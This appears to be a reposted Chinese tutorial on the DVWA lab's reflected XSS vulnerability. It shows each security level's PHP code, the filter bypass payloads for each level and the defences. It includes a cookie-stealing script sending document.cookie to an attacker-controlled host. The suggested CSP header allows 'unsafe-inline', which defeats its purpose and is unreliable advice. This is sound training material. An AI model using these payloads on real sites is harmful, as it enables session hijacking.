当前位置: 首页 > news >正文

【web安全】DVWA反射型XSS漏洞分析与利用

目录

一、环境搭建与漏洞原理

1.1 反射型XSS原理

二、Low安全级别漏洞分析

2.1 漏洞代码分析

2.2 利用方式

三、Medium/High安全级别绕过

3.1 Medium级别防护分析

3.2 High级别防护分析

3.3 各级别防护对比

四、Impossible级别与防御方案

4.1 Impossible级别实现

4.2 企业级防御方案

一、环境搭建与漏洞原理

1.1 反射型XSS原理

反射型XSS(Reflected XSS)特点:

  • 恶意脚本通过URL参数注入

  • 服务端未过滤直接嵌入到响应中

  • 需要诱导用户点击特定链接触发

  • 攻击效果是一次性的

漏洞产生流程:

攻击者构造URL → 用户点击 → 服务器返回含恶意脚本的页面 → 浏览器执行脚本

二、Low安全级别漏洞分析

2.1 漏洞代码分析

<?php
header("X-XSS-Protection: 0");
if(array_key_exists("name", $_GET) && $_GET['name'] != NULL){echo '<pre>Hello ' . $_GET['name'] . '</pre>';
}
?>

漏洞点:直接输出用户输入,无任何过滤

2.2 利用方式

基础Payload:

http://192.168.21.4/dvwa/vulnerabilities/xss_r/?name=<script>alert(document.cookie)</script>

高级利用(窃取Cookie):

<script>
new Image().src="http://192.168.21.1/steal.php?cookie="+encodeURIComponent(document.cookie);
</script>

192.168.21.1服务器上收到cookie的值

图2.1 成功执行任意JavaScript代码

三、Medium/High安全级别绕过

3.1 Medium级别防护分析

关键代码:

<?php
​
header ("X-XSS-Protection: 0");
​
// Is there any input?
if( array_key_exists( "name", $_GET ) && $_GET[ 'name' ] != NULL ) {// Get input$name = str_replace( '<script>', '', $_GET[ 'name' ] );
​// Feedback for end user$html .= "<pre>Hello {$name}</pre>";
}
​
?>

发现进行了<script>过滤

绕过方法

  1. 大小写混淆:<ScRiPt>alert(1)</ScRiPt>

  2. 嵌套标签:<scr<script>ipt>alert(1)</script>

  3. 使用非script标签:<img src=x onerror=alert(1)>

3.2 High级别防护分析

关键代码:

<?php
​
header ("X-XSS-Protection: 0");
​
// Is there any input?
if( array_key_exists( "name", $_GET ) && $_GET[ 'name' ] != NULL ) {// Get input$name = preg_replace( '/<(.*)s(.*)c(.*)r(.*)i(.*)p(.*)t/i', '', $_GET[ 'name' ] );
​// Feedback for end user$html .= "<pre>Hello {$name}</pre>";
}
​
?>
 

防护原理:使用正则表达式匹配并删除<script>标签及其变体

  • <(.*):匹配<后跟任意字符(包括无字符)

  • s(.)c(.)...:强制按顺序匹配s、c、r、i、p、t字母

  • /i:不区分大小写

绕过方法

  1. SVG标签:<svg/onload=alert(1)>

  2. 事件属性:<body onpageshow=alert(1)>

  3. 伪协议:<a href="javascript:alert(1)">click</a>

3.3 各级别防护对比

安全级别防护措施有效Payload示例
Low无过滤<script>alert(1)</script>
Medium移除<script>字符串<img src=x onerror=alert(1)>
High正则过滤script标签<svg/onload=alert(document.domain)>
Impossiblehtmlspecialchars转义无有效绕过方式

四、Impossible级别与防御方案

4.1 Impossible级别实现

<?php
​
// Is there any input?
if( array_key_exists( "name", $_GET ) && $_GET[ 'name' ] != NULL ) {// Check Anti-CSRF tokencheckToken( $_REQUEST[ 'user_token' ], $_SESSION[ 'session_token' ], 'index.php' );
​// Get input$name = htmlspecialchars( $_GET[ 'name' ] );
​// Feedback for end user$html .= "<pre>Hello {$name}</pre>";
}
​
// Generate Anti-CSRF token
generateSessionToken();
​
?>

htmlspecialchars防护原理

  • 将特殊字符转换为HTML实体

  • 例如:<&lt;"&quot;

4.2 企业级防御方案

  1. 输入验证(白名单原则):

    if(!preg_match('/^[a-zA-Z0-9]+$/', $input)){die("Invalid input");
    }

  2. 输出编码

    // HTML上下文
    htmlspecialchars($str, ENT_QUOTES, 'UTF-8');
    ​
    // JavaScript上下文
    json_encode($str, JSON_HEX_TAG);

  3. 内容安全策略(CSP)

    Content-Security-Policy: default-src 'self'; script-src 'unsafe-inline'

    内容安全策略(CSP)详解:Web安全的关键防线-CSDN博客

  4. 现代前端框架防护

    • React/Vue/Angular默认自动转义

http://www.lryc.cn/news/591677.html

相关文章:

  • RGBA图片格式转换为RGB格式(解决convert转换的失真问题)
  • 利用node.js在本地搭建简易http服务器
  • 快慢指针的应用
  • RCU机制及常见锁的理解
  • web安全入门 | 记新手小白初次尝试挖越权漏洞
  • Ansible AWX 自动化运维
  • 3t车用手动卧式千斤顶设计含8张CAD图纸PDF图
  • parallels desktop windows win10无法复制文件无法共享剪切板
  • [NIPST AI]对抗性机器学习攻击和缓解的分类和术语
  • RocketMq集群高可用
  • Java并发编程第三篇(深入解析Synchronized)
  • 系统引导修复(2)
  • 《Java语言程序设计》1.2.5 复习题
  • Spring Boot 分层架构详解:Controller、Service、Mapper...
  • SLG 游戏如何进行防破解和防盗版保护?
  • 《迭代器 VS 生成器:Python 惰性计算的两种实现方案详解》
  • Scrapy无缝集成Pyppeteer:异步无头浏览器爬虫架构实战
  • 中科固源深度解析:DoIP 协议原理、应用与安全防护全流程
  • cnpm命令报internal/modules/cjs/loader.js:797 throw err; ^ Error: Cannot find
  • 第12章 存储类、链接和内存管理
  • python学智能算法(二十二)|SVM-点与超平面的距离
  • Adam优化器
  • 深入理解 KVM 子系统:从虚拟化核心到内核实现的全景解析
  • js对象简介、内置对象
  • 【中等】题解力扣21:合并两个有序链表
  • mysql——搭建MGR集群
  • Python清屏方法大全 - 终端清屏的几种实现方式
  • 【Android】EditText使用和监听
  • ELN:生物医药科研的数字化引擎——衍因科技引领高效创新
  • H7-TOOL脱机下载后,自动重连RTT,CAN和串口助手三合一模式方法,方便项目测试(2025-07-16)